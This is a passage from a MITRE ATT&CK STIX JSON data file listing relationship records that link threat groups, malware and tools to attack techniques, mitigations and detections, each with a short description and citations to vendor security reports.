2024)\n","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--03981d0c-c7d5-4a65-bd8f-1b1a2c1efe2a","created":"2023-08-08T19:29:17.546Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-23T14:27:47.649Z","description":"Train users to be aware of impersonation tricks and how to counter them, for example confirming incoming requests through an independent platform like a phone call or in-person, to reduce risk.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--c9e0c59e-162e-40a4-b8b1-78fab4329ada","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0399241d-e0ab-4d0f-9028-1e61eb913d75","type":"relationship","created":"2022-03-30T14:26:51.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.840Z","description":"Monitor for newly constructed services/daemons that may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. ","source_ref":"x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705","target_ref":"attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--03a2f02b-ca0c-4366-8880-6cb6015fd722","created":"2022-07-08T14:14:43.779Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft POLONIUM June 2022","url":"https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/","description":"Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[CreepySnail](https://attack.mitre.org/software/S1024) can use stolen credentials to authenticate on target networks.(Citation: Microsoft POLONIUM June 2022)","modified":"2022-07-25T16:18:35.128Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--d23de441-f9cf-4802-b1ff-f588a11a896b","target_ref":"attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--03a3226b-0b28-49a9-860f-a8c13ffbe00d","type":"relationship","created":"2020-03-13T21:03:18.884Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-13T21:03:18.884Z","relationship_type":"revoked-by","source_ref":"attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--03a65a95-b802-49ee-bec1-a65cccec0e89","type":"relationship","created":"2019-10-05T02:34:01.287Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub MailSniper","url":"https://github.com/dafthack/MailSniper","description":"Bullock, B., . (2018, November 20). MailSniper. Retrieved October 4, 2019."}],"modified":"2020-03-17T16:30:17.326Z","description":"[MailSniper](https://attack.mitre.org/software/S0413) can be used for searching through email in Exchange and Office 365 environments.(Citation: GitHub MailSniper)","relationship_type":"uses","source_ref":"tool--999c4e6e-b8dc-4b4f-8d6e-1b829f29997e","target_ref":"attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--03a73f0c-218f-4ebf-81d2-88e2c8e9b883","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ASERT InnaputRAT April 2018","description":"ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.","url":"https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/"}],"modified":"2020-03-20T02:21:24.978Z","description":"[InnaputRAT](https://attack.mitre.org/software/S0259) launches a shell to execute commands on the victim’s machine.(Citation: ASERT InnaputRAT April 2018)","relationship_type":"uses","source_ref":"malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--03a8b070-a7dd-43b0-a044-1cf9f999475b","type":"relationship","created":"2020-11-12T17:10:00.119Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."},{"source_name":"ESET Grandoreiro April 2020","url":"https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/","description":"ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}],"modified":"2020-11-13T21:56:38.164Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) can use VBScript to execute malicious code.(Citation: Securelist Brazilian Banking Malware July 2020)(Citation: ESET Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--03ab3120-4c6e-4de2-982a-fe22d466f748","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit USBStealer 2014","description":"Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.","url":"http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/"},{"source_name":"Kaspersky Sofacy","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.","url":"https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"}],"modified":"2020-03-11T17:45:54.088Z","description":"[USBStealer](https://attack.mitre.org/software/S0136) searches victim drives for files matching certain extensions (“.skr”,“.pkr” or “.key”) or names.(Citation: ESET Sednit USBStealer 2014)(Citation: Kaspersky Sofacy)","relationship_type":"uses","source_ref":"malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--03aece39-d7a2-47a4-be1a-b1d6f1d72654","created":"2023-02-23T18:19:34.153Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender LuminousMoth July 2021","description":"Botezatu, B and etl. (2021, July 21). LuminousMoth - PlugX, File Exfiltration and Persistence Revisited. Retrieved October 20, 2022.","url":"https://www.bitdefender.com/blog/labs/luminousmoth-plugx-file-exfiltration-and-persistence-revisited"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T16:01:14.160Z","description":"[LuminousMoth](https://attack.mitre.org/groups/G1014) has exfiltrated data to Google Drive.(Citation: Bitdefender LuminousMoth July 2021)","relationship_type":"uses","source_ref":"intrusion-set--b7f627e2-0817-4cd5-8d50-e75f8aa85cc6","target_ref":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--03affe06-c8b3-436d-84c2-b5943f37ff47","created":"2022-10-13T17:50:51.454Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T17:50:51.454Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used [netstat](https://attack.mitre.org/software/S0104) to identify specific ports.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"tool--4664b683-f578-434f-919b-1c1aad2a1111","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--03b02b8a-4f47-46ef-bdda-096c214ffcda","created":"2023-09-12T18:11:42.532Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Proofpoint TA2541 February 2022","description":"Larson, S. and Wise, J. (2022, February 15). Charting TA2541's Flight. Retrieved September 12, 2023.","url":"https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight"},{"source_name":"Cisco Operation Layover September 2021","description":"Ventura, V. (2021, September 16). Operation Layover: How we tracked an attack on the aviation industry to five years of compromise. Retrieved September 15, 2023.","url":"https://blog.talosintelligence.com/operation-layover-how-we-tracked-attack/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-18T18:05:53.253Z","description":"[TA2541](https://attack.mitre.org/groups/G1018) has uploaded malware to various platforms including Google Drive, Pastetext, Sharetext, and GitHub.(Citation: Proofpoint TA2541 February 2022)(Citation: Cisco Operation Layover September 2021)","relationship_type":"uses","source_ref":"intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0","target_ref":"attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--03b12a66-789a-4480-8903-deab828d08b6","type":"relationship","created":"2020-06-01T14:41:54.758Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 October 2019","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader","description":"Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."}],"modified":"2020-06-01T14:41:54.758Z","description":"[SDBbot](https://attack.mitre.org/software/S0461) has the ability to get directory listings or drive information on a compromised host.(Citation: Proofpoint TA505 October 2019)","relationship_type":"uses","source_ref":"malware--92b03a94-7147-4952-9d5a-b4d24da7487c","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--03b18e87-f5f2-4d12-b5b3-2e1ba131b091","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","source_name":"TrendMicro Patchwork Dec 2017"}],"modified":"2020-03-30T02:59:01.829Z","description":"[Patchwork](https://attack.mitre.org/groups/G0040) encrypted the collected files' path with AES and then encoded them with base64.(Citation: TrendMicro Patchwork Dec 2017)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--03b2c5b8-aeca-4232-a206-521b83d56c54","type":"relationship","created":"2020-03-09T14:38:24.627Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-07-26T22:49:23.233Z","description":"Inventory systems for unauthorized Python installations.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--03b52236-a63f-4ffe-88bd-15cb5ac69a66","type":"relationship","created":"2021-12-06T23:14:44.924Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"modified":"2021-12-06T23:14:44.924Z","description":"[KOCTOPUS](https://attack.mitre.org/software/S0669) has deobfuscated itself before executing its commands.(Citation: MalwareBytes LazyScripter Feb 2021)","relationship_type":"uses","source_ref":"malware--df9b350b-d4f9-4e79-a826-75cc75fbc1eb","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--03be081b-574e-4ffd-807a-99163b6a6fa2","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021.","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf"},{"source_name":"Github Koadic","description":"Magius, J., et al. (2017, July 19). Koadic. Retrieved September 27, 2024.","url":"https://github.com/offsecginger/koadic"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-27T18:36:30.832Z","description":"[Koadic](https://attack.mitre.org/software/S0250) can retrieve the contents of the IP routing table as well as information about the Windows domain.(Citation: Github Koadic)(Citation: MalwareBytes LazyScripter Feb 2021)","relationship_type":"uses","source_ref":"tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--03c08ef9-80c7-4f20-b197-ad44f702f2e0","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Daserf Nov 2017","description":"Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER’s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.","url":"http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/"},{"source_name":"Secureworks BRONZE BUTLER Oct 2017","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"}],"modified":"2020-03-18T16:05:39.970Z","description":"[Daserf](https://attack.mitre.org/software/S0187) can execute shell commands.(Citation: Trend Micro Daserf Nov 2017)(Citation: Secureworks BRONZE BUTLER Oct 2017)","relationship_type":"uses","source_ref":"malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--03c1479b-bbe6-4f21-bb56-133b4f7eb16a","type":"relationship","created":"2022-03-25T18:51:00.268Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SentinelOne Hermetic Wiper February 2022","url":"https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack","description":"Guerrero-Saade, J. (2022, February 23). HermeticWiper | New Destructive Malware Used In Cyber Attacks on Ukraine. Retrieved March 25, 2022."},{"source_name":"Crowdstrike DriveSlayer February 2022","url":"https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/","description":"Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022."},{"source_name":"Qualys Hermetic Wiper March 2022","url":"https://blog.qualys.com/vulnerabilities-threat-research/2022/03/01/ukrainian-targets-hit-by-hermeticwiper-new-datawiper-malware","description":"Dani, M. (2022, March 1). Ukrainian Targets Hit by HermeticWiper, New Datawiper Malware. Retrieved March 25, 2022."}],"modified":"2022-03-25T21:34:45.592Z","description":"[HermeticWiper](https://attack.mitre.org/software/S0697) has the ability to set the `HKLM:\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\CrashControl\\CrashDumpEnabled` Registry key to `0` in order to disable crash dumps.(Citation: SentinelOne Hermetic Wiper February 2022)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Qualys Hermetic Wiper March 2022)","relationship_type":"uses","source_ref":"malware--a0ab8a96-40c9-4483-8a54-3fafa6d6007a","target_ref":"attack-pattern--74d2a63f-3c7b-4852-92da-02d8fbab16da","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--03c424ec-df52-4b08-8b32-fa8b2a738a97","created":"2023-02-23T18:07:26.070Z","revoked":false,"external_references":[{"source_name":"Kaspersky LuminousMoth July 2021","description":"Lechtik, M, and etl. (2021, July 14). LuminousMoth APT: Sweeping attacks for the chosen few. Retrieved October 20, 2022.","url":"https://securelist.com/apt-luminousmoth/103332/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-23T18:07:26.070Z","description":"[LuminousMoth](https://attack.mitre.org/groups/G1014) has sent spearphishing emails containing a malicious Dropbox download link.(Citation: Kaspersky LuminousMoth July 2021)","relationship_type":"uses","source_ref":"intrusion-set--b7f627e2-0817-4cd5-8d50-e75f8aa85cc6","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--03c86a72-8298-4558-afc7-19cc09da4ff5","created":"2022-06-01T20:52:21.416Z","x_mitre_version":"0.1","external_references":[{"source_name":"Forcepoint BITTER Pakistan Oct 2016","url":"https://www.forcepoint.com/blog/x-labs/bitter-targeted-attack-against-pakistan","description":"Dela Paz, R. (2016, October 21). BITTER: a targeted attack against Pakistan. Retrieved June 1, 2022."},{"source_name":"Cisco Talos Bitter Bangladesh May 2022","url":"https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html","description":"Raghuprasad, C . (2022, May 11). Bitter APT adds Bangladesh to their targets. Retrieved June 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[BITTER](https://attack.mitre.org/groups/G1002) has downloaded additional malware and tools onto a compromised host.(Citation: Cisco Talos Bitter Bangladesh May 2022)(Citation: Forcepoint BITTER Pakistan Oct 2016) ","modified":"2022-06-01T21:23:10.264Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--7f848c02-4d1e-4808-a4ae-4670681370a9","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--03c9b56e-f006-43b2-ac98-bcbe0c05e979","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto menuPass Feb 2017","description":"Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.","url":"http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/"},{"source_name":"JPCERT ChChes Feb 2017","description":"Nakamura, Y.. (2017, February 17). ChChes - Malware that Communicates with C&C Servers Using Cookie Headers. Retrieved March 1, 2017.","url":"http://blog.jpcert.or.jp/2017/02/chches-malware--93d6.html"}],"modified":"2020-03-17T00:33:20.598Z","description":"[ChChes](https://attack.mitre.org/software/S0144) communicates to its C2 server over HTTP and embeds data within the Cookie HTTP header.(Citation: Palo Alto menuPass Feb 2017)(Citation: JPCERT ChChes Feb 2017)","relationship_type":"uses","source_ref":"malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--03cb8f9a-7ad7-4aa8-966f-bf768023eb89","created":"2022-12-20T21:22:44.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-26T15:13:58.340Z","description":"[DEADEYE](https://attack.mitre.org/software/S1052) can ensure it executes only on intended systems by identifying the victim's volume serial number, hostname, and/or DNS domain.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"malware--c46eb8e6-bf29-4696-8008-3ddb0b4ca470","target_ref":"attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--03cd94c9-73aa-4eed-b724-629d180e3002","created":"2021-01-19T22:37:42.744Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Deep Dive Solorigate January 2021","description":"MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021.","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/"},{"source_name":"Symantec RAINDROP January 2021","description":"Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:23:39.400Z","description":"[Raindrop](https://attack.mitre.org/software/S0565) encrypted its payload using a simple XOR algorithm with a single-byte key.(Citation: Symantec RAINDROP January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)","relationship_type":"uses","source_ref":"malware--4efc3e00-72f2-466a-ab7c-8a7dc6603b19","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--03d08c76-d8ce-435a-bac1-9cb77cdbaa0c","type":"relationship","created":"2019-03-11T15:04:51.706Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.124Z","description":"[Empire](https://attack.mitre.org/software/S0363) can capture webcam data on Windows and macOS systems.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--03d6c33c-22d4-484f-8f16-8d49c307da80","created":"2022-06-13T15:15:28.818Z","x_mitre_version":"0.1","external_references":[{"source_name":"Accenture Lyceum Targets November 2021","url":"https://www.accenture.com/us-en/blogs/cyber-defense/iran-based-lyceum-campaigns","description":"Accenture. (2021, November 9). Who are latest targets of cyber group Lyceum?. Retrieved June 16, 2022."},{"source_name":"ClearSky Siamesekitten August 2021","url":"https://www.clearskysec.com/siamesekitten/","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Shark](https://attack.mitre.org/software/S1019) can download additional files from its C2 via HTTP or DNS.(Citation: ClearSky Siamesekitten August 2021)(Citation: Accenture Lyceum Targets November 